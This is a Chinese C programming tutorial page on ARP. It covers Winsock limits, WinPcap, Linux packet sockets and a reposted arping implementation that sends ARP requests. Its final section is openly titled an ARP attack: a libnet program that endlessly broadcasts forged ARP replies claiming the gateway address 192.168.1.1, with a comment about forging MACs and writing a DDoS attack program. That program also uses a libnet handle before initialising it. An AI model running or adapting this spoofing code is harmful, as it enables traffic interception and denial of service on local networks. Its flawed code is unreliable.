OStack程序员社区-中国程序员成长平台 › 门户 › 编程› C++›C++教程

c语言ARP应用

原作者: [db:作者] 来自: [db:来源] 收藏邀请

对于windows环境，winsock不能用来发ARP请求：

发表于： 2002-04-23 11:45:12
arp是请求硬件地址的。winsock层次太高啦。。。
用winsock中的sendto函数，将其中的buf填入arp请求的分组格式，为什么不行呢？
用WinSock是不能发ARP包的，WinSock只能发IP包，
要发ARP包必须要用链路层的接口，因为必须告诉链路层的接口你的帧类型为ARP而不是IP

winpcap

winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具，可适用于32/64位的操作平台上解析网络封包，
包含了核心的封包过滤，一个底层动态链接库，和一个高层系统函数库，及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程

Linux提供最常用的网络通信应用程序开发接口--Berkerley套接字(Socket)．

Linux系统提供的基于数据链路层开发应用程序的接口集成在套接字中，
它是通过创建packet类型的套接宇．使应用程序可直接在数据链路层接
收或发送 未被系统处理的原始的数据报文(如ARP报文)，用户也可以使
用packet类型的套接宇在物理层上定义自己特殊的网络协议。只有注册
号为0的用户(超级 用户)进程才能建立或打开用于访问网络低层的套接字．

设置网卡为混杂模式，地址结果相关分析：http://blog.csdn.net/cyx1743/article/details/6687771

getsockname()

getsockname()函数用于获取一个套接字的名字。

它用于一个已捆绑或已连接套接字s，本地地址将被返回。

本调用特别适用于如下情况：未调用bind()就调用了connect()，这时唯有getsockname()调用可以获知系统内定的本地地址。

在返回时，namelen参数包含了名字的实际字节数。

  1 //ARP协议的C语言实现源代码【转载】 收藏
  2 //什么是ARP协议
  3 //英文原义：ADDRESS RESOLUTION PROTOCOL
  4 //中文释义：（RFC - 826）地址解析协议
  5 
  6 #include <netdb.h>
  7 #include <unistd.h>
  8 #include <ctype.h>
  9 #include <errno.h>
 10 #include <signal.h>
 11 #include <string.h>
 12 #include <stdio.h>
 13 #include <stdlib.h>
 14 #include <getopt.h>
 15 #include <sys/uio.h>
 16 #include <sys/file.h>
 17 #include <sys/time.h>
 18 #include <sys/signal.h>
 19 #include <sys/ioctl.h>
 20 #include <sys/param.h>
 21 #include <sys/socket.h>
 22 #include <linux/sockios.h>
 23 #include <linux/if.h>
 24 #include <linux/if_arp.h>
 25 #include <linux/if_packet.h>
 26 #include <linux/types.h>
 27 #include <netinet/in.h>
 28 #include <arpa/inet.h>
 29 #define src_addr "192.168.0.239"   //需要进行arp解析的ip
 30 #define device  "eth0"                //本机的哪块网卡
 31 #define fill_buf "aaaaaaaaaaaa"
 32 int socket_id;
 33 char *target = src_addr;
 34 int send_count = 0;
 35 int recv_count = 0;
 36 struct in_addr  src, dst;
 37 struct sockaddr_ll   me, he;
 38 struct timeval   send_time, recv_time;
 39 struct in_addr get_src_ip(char * devices)//获得本机相应网卡的ip
 40 {
 41     struct sockaddr_in saddr;
 42     int sock_id = socket(AF_INET, SOCK_DGRAM, 0);//设置数据报socket
 43     if (sock_id < 0) {
 44         perror("socket");
 45         exit(2);
 46     }
 47     if (devices) {
 48         if (setsockopt(sock_id, SOL_SOCKET, SO_BINDTODEVICE, device, strlen(device) + 1) == -1)//将socketbind到网卡上
 49             perror("WARNING: interface is ignored");
 50     }
 51     int alen = sizeof(saddr);
 52     memset(&saddr, 0, sizeof(saddr));
 53     saddr.sin_port = htons(0x1000);//设置端口
 54     saddr.sin_family = AF_INET;
 55     if (connect(sock_id, (struct sockaddr*)&saddr, sizeof(saddr)) == -1) {//将socket连接到相应的inet地址上
 56         perror("connect");
 57         exit(2);
 58     }
 59     if (getsockname(sock_id, (struct sockaddr*)&saddr, &alen) == -1) {//通过socket获得绑定的ip地址
 60         perror("getsockname");
 61         exit(2);
 62     }
 63     close(sock_id);
 64     return saddr.sin_addr;
 65 }
 66 int check_device(char* if_dev, int ss)//网卡和socket    将网卡设置为混杂模式？
 67 {
 68     int ifindex;
 69     struct ifreq ifr;
 70     memset(&ifr, 0, sizeof(ifr));
 71     strncpy(ifr.ifr_name, if_dev, IFNAMSIZ - 1);//网卡设备名
 72     if (ioctl(ss, SIOCGIFINDEX, &ifr) < 0) {
 73         fprintf(stderr, "arping: unknown iface %s\n", if_dev);
 74         exit(2);
 75     }
 76     ifindex = ifr.ifr_ifindex;
 77     if (ioctl(ss, SIOCGIFFLAGS, (char*)&ifr)) {
 78         perror("ioctl(SIOCGIFFLAGS)");
 79         exit(2);
 80     }
 81     if (!(ifr.ifr_flags&IFF_UP)) {
 82         printf("Interface \"%s\" is down\n", if_dev);
 83         exit(2);
 84     }
 85     if (ifr.ifr_flags&(IFF_NOARP | IFF_LOOPBACK)) {
 86         printf("Interface \"%s\" is not ARPable\n", if_dev);
 87         exit(2);
 88     }
 89     return ifindex;
 90 } // check_device()
 91 
 92 int socket_init()
 93 {
 94     int s, s_errno;
 95     s = socket(PF_PACKET, SOCK_DGRAM, 0);//数据包
 96     s_errno = errno;
 97     me.sll_family = AF_PACKET;
 98     me.sll_ifindex = check_device(device, s);
 99     me.sll_protocol = htons(ETH_P_ARP);
100     if (bind(s, (struct sockaddr*)&me, sizeof(me)) == -1) {
101         perror("bind");
102         exit(2);
103     }
104     int alen = sizeof(me);
105     if (getsockname(s, (struct sockaddr*)&me, &alen) == -1) {
106         perror("getsockname");
107         exit(2);
108     }
109     if (me.sll_halen == 0) {
110         printf("Interface \"%s\" is not ARPable (no ll address)\n", device);
111         exit(2);
112     }
113     he = me;
114     memset(he.sll_addr, -1, he.sll_halen);  // set dmac addr FF:FF:FF:FF:FF:FF
115     return s;
116 }
117 int
118 create_pkt(unsigned char * buf, struct in_addr src, struct in_addr dst, struct sockaddr_ll * FROM, struct sockaddr_ll * TO)
119 {
120     struct arphdr *ah = (struct arphdr*) buf;
121     unsigned char *p = (unsigned char *)(ah + 1);
122     ah->ar_hrd = htons(FROM->sll_hatype);
123     if (ah->ar_hrd == htons(ARPHRD_FDDI))
124         ah->ar_hrd = htons(ARPHRD_ETHER);
125     ah->ar_pro = htons(ETH_P_IP);
126     ah->ar_hln = FROM->sll_halen;
127     ah->ar_pln = 4;
128     ah->ar_op = htons(ARPOP_REQUEST);
129     memcpy(p, &FROM->sll_addr, ah->ar_hln);
130     p += FROM->sll_halen;
131     memcpy(p, &src, 4);
132     p += 4;
133     memcpy(p, &TO->sll_addr, ah->ar_hln);
134     p += ah->ar_hln;
135     memcpy(p, &dst, 4);
136     p += 4;
137     memcpy(p, fill_buf, strlen(fill_buf));
138     p += 12;
139     return  (p - buf);
140 }
141 void send_pkt()
142 {
143     unsigned char send_buf[256];
144     int pkt_size = create_pkt(send_buf, src, dst, &me, &he);
145     gettimeofday(&send_time, NULL);
146     int cc = sendto(socket_id, send_buf, pkt_size, 0, (struct sockaddr*)&he, sizeof(he));
147     if (cc == pkt_size)
148         send_count++;
149     alarm(1);
150 }
151 int chk_recv_pkt(unsigned char * buf, struct sockaddr_ll * FROM)//解析arp数据
152 {
153     struct arphdr *ah = (struct arphdr*)buf;
154     unsigned char *p = (unsigned char *)(ah + 1);
155     struct in_addr src_ip, dst_ip;
156     if (ah->ar_op != htons(ARPOP_REQUEST) && ah->ar_op != htons(ARPOP_REPLY))
157         return 0;
158     if (ah->ar_pro != htons(ETH_P_IP) || ah->ar_pln != 4 || ah->ar_hln != me.sll_halen)
159         return 0;
160     memcpy(&src_ip, p + ah->ar_hln, 4);
161     memcpy(&dst_ip, p + ah->ar_hln + 4 + ah->ar_hln, 4);
162     if (src_ip.s_addr != dst.s_addr || src.s_addr != dst_ip.s_addr)
163         return 0;
164     return (p - buf);
165 }
166 void disp_info(int received, struct in_addr dst, int msecs, int usecs, struct sockaddr_ll from)
167 {
168     printf("%03d ", received);
169     printf("%s ", from.sll_pkttype == PACKET_HOST ? "Unicast" : "Broadcast");
170     printf("%s from %s", "reply", inet_ntoa(dst));
171     printf(" [%02X:%02X:%02X:%02X:%02X:%02X] ", from.sll_addr[0], from.sll_addr[1], \
172         from.sll_addr[2], from.sll_addr[3], from.sll_addr[4], from.sll_addr[5]);
173     printf(" %ld.%ld ms\n", (long int)msecs, (long int)usecs);
174     fflush(stdout);
175 }
176 void finish()
177 {
178     printf("\nSent %d ARP probe packet(s) \n", send_count);
179     printf("Received %d response(s)", recv_count);
180     printf("\n\n");
181     fflush(stdout);
182     exit(!recv_count);
183 }
184 ////////////////////////////////////////////////////////////////
185 int
186 main(int argc, char **argv)
187 {
188     uid_t uid = getuid();
189     setuid(uid);
190     if (*(argv + 1) != NULL)
191         target = *(argv + 1);//传入的第一个参数，待解析的ip地址
192     if (inet_aton(target, &dst) != 1) {//使用字符串ip更新dst地址结构中的网络字节序ip
193         struct hostent *hp;
194         hp = gethostbyname2(target, AF_INET);
195         printf("\ntarget = %s \n", target);
196         if (!hp) {
197             fprintf(stderr, "arping: unknown host %s\n", target);
198             exit(2);
199         }
200         memcpy(&dst, hp->h_addr, 4);
201     }
202     src = get_src_ip(device);//获得本机device网卡的ip
203     if (!src.s_addr) {
204         fprintf(stderr, "arping: no source address in not-DAD mode\n");
205         exit(2);
206     }
207     socket_id = socket_init();
208     printf("\nARPING %s ", inet_ntoa(dst));
209     printf("from %s %s\n\n", inet_ntoa(src), device ? : "");
210     signal(SIGINT, finish);
211     signal(SIGALRM, send_pkt);
212     send_pkt();
213     while (1)
214     {
215         struct sockaddr_ll from;
216         int alen = sizeof(from);
217         char recv_buf[0x1000];
218 
219         int recv_size = recvfrom(socket_id, recv_buf, sizeof(recv_buf), 0, (struct sockaddr *)&from, &alen);
220 
221         gettimeofday(&recv_time, NULL);
222         if (recv_size < 0) {
223             perror("arping: recvfrom");
224             continue;
225         }
226         if (chk_recv_pkt(recv_buf, &from) > 0) {
227             memcpy(he.sll_addr, from.sll_addr, he.sll_halen);
228             long usecs, msecs;
229             if (recv_time.tv_sec) {
230                 usecs = (recv_time.tv_sec - send_time.tv_sec) * 1000000 + recv_time.tv_usec - send_time.tv_usec;
231                 msecs = (usecs + 500) / 1000;
232                 usecs -= msecs * 1000 - 500;
233             }
234             recv_count++;
235             disp_info(recv_count, dst, msecs, usecs, from);
236         } // if (chk...)    
237 
238     }
239     return 0;
240 }

linux下使用libnet实现ARP攻击（转）

http://my.oschina.net/jiyufei/blog/179494

 1 #include "arp.h"
 2  
 3 int main(int argc,char **argv){
 4     libnet_t *l;
 5     int i,packet_size;      //发送的数据包的长度
 6     libnet_ptag_t arp_tag,ether_tag;
 7     char *device="eth0";
 8     char err_buf[LIBNET_ERRBUF_SIZE];
 9     char *destion_ip_str = "255.255.255.255";
10     char *source_ip_str = "192.168.1.1";
11     u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
12     u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
13     u_int32_t source_ip,destion_ip;
14     //将字符形式ip转换为网络字节序
15     source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
16     destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
17     //初始化libnet句柄
18     l = libnet_init(LIBNET_LINK,device,err_buf);
19     if(l == NULL){
20         printf("初始化libnet句柄失败:%s\n",err_buf);
21         exit(-1);
22     }
23     arp_tag = libnet_build_arp(
24         ARPHRD_ETHER,       //硬件地址类型，此处为以太网类型
25         ETHERTYPE_IP,       //协议地址类型
26         6,
27         4,
28         ARPOP_REPLY,        //ARP应答
29         source_hardware,
30         (u_int8_t *)&source_ip,
31         destion_hardware,
32         (u_int8_t *)&destion_ip,
33         NULL,       //无负载
34         0,          //负载长度为0
35         l,
36         0       //协议块标记，为0，表示新建协议块
37         );
38     ether_tag = libnet_build_ethernet(
39         (u_int8_t *)&destion_hardware,
40         (u_int8_t *)&source_hardware,
41         ETHERTYPE_ARP,
42         NULL,
43         0,
44         l,
45         0
46         );
47     i = 0;
48     while(1){
49         packet_size = libnet_write(l);      //发送构造的ARP数据包
50         usleep(10);
51         i++;
52     }
53     printf("数据包长度为：%d\n",packet_size);
54     libnet_destroy(l);
55     return 0;
56 }

/*目标MAC为广播地址，全0xff就行，源MAC地址可以为本机MAC或者随便伪造的MAC
（在程序中获取本机MAC可用ioctl函数，最近在写DDOS攻击程序就是用ioctl获取本机MAC和IP的），注意ARP包类型为ARPOP_REPLY(应答包)。*/